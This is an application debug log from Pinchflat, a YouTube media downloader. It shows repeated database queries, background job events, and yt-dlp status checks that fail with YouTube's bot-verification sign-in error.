SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 20:31:34.327 [debug] QUERY OK source="tasks" db=1.5ms queue=0.1ms idle=8.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:34.328 [debug] QUERY OK source="media_items" db=0.7ms idle=8.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [24, 25] 20:31:34.331 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:34.331 [debug] QUERY OK source="sources" db=0.7ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:34.332 [debug] QUERY OK source="media_profiles" db=0.8ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:34.334 [debug] QUERY OK source="media_items" db=0.5ms queue=0.5ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25] 20:31:34.336 [debug] QUERY OK source="media_metadata" db=0.5ms idle=8.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [25] 20:31:34.337 [debug] QUERY OK source="media_profiles" db=0.7ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:34.338 [debug] QUERY OK source="settings" db=0.8ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.339 [debug] QUERY OK source="settings" db=1.0ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.341 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:34.342 [debug] QUERY OK source="settings" db=0.3ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.343 [debug] QUERY OK source="settings" db=0.5ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.344 [debug] QUERY OK source="settings" db=0.6ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.344 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8l3uTlHvweQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/8a/708ac23e7e403e02f38cc89cc4605d39843b32072e87371943b81bb56fc6e79a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:34.455 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eetwxKh2So4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/ef/c6ef52bf33e4d51bcce2dfdee2b38057b20b783f17462dd16895b586537c7acd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] eetwxKh2So4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:34.455 [error] yt-dlp download error for media item #24: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] eetwxKh2So4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:34.455 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] eetwxKh2So4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:34.458 [info] {"args":{"id":24},"id":222,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1932191,"event":"job:stop","attempt":1,"queue_time":21522079,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:34.460 [debug] QUERY OK source="tasks" db=1.4ms idle=119.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:34.461 [debug] QUERY OK source="media_items" db=0.5ms idle=117.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 20:31:34.465 [info] {"args":{"id":26},"id":224,"meta":{},"system_time":1774150294465175959,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:34.466 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=121.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26] 20:31:34.466 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:34.468 [debug] QUERY OK source="sources" db=1.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:34.468 [debug] QUERY OK source="tasks" db=3.2ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:34.470 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [25, 26] 20:31:34.473 [debug] QUERY OK source="media_profiles" db=4.4ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:34.474 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 20:31:34.475 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [26] 20:31:34.476 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:34.477 [debug] QUERY OK source="settings" db=0.9ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.478 [debug] QUERY OK source="settings" db=0.7ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.479 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:34.480 [debug] QUERY OK source="settings" db=0.2ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.481 [debug] QUERY OK source="settings" db=0.5ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.481 [debug] QUERY OK source="settings" db=0.6ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:34.482 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pbmAzoOjPRM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/e9/68e9a963175b5c8b30dc0b2b8263733bd6288016786ce63de3da0a79430d1cff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:36.261 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8l3uTlHvweQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/8a/708ac23e7e403e02f38cc89cc4605d39843b32072e87371943b81bb56fc6e79a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 8l3uTlHvweQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:36.261 [error] yt-dlp download error for media item #25: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 8l3uTlHvweQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:36.262 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 8l3uTlHvweQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:36.262 [info] {"args":{"id":25},"id":223,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1937427,"event":"job:stop","attempt":1,"queue_time":23323475,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:36.263 [debug] QUERY OK source="tasks" db=0.4ms idle=670.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:36.264 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=670.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26] 20:31:36.270 [info] {"args":{"id":27},"id":225,"meta":{},"system_time":1774150296270030177,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:36.271 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=423.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27] 20:31:36.271 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:36.272 [debug] QUERY OK source="tasks" db=1.5ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:36.272 [debug] QUERY OK source="media_items" db=0.3ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [26, 27] 20:31:36.273 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:36.274 [debug] QUERY OK source="media_profiles" db=0.6ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:36.275 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27] 20:31:36.276 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [27] 20:31:36.276 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:36.277 [debug] QUERY OK source="settings" db=0.6ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.278 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 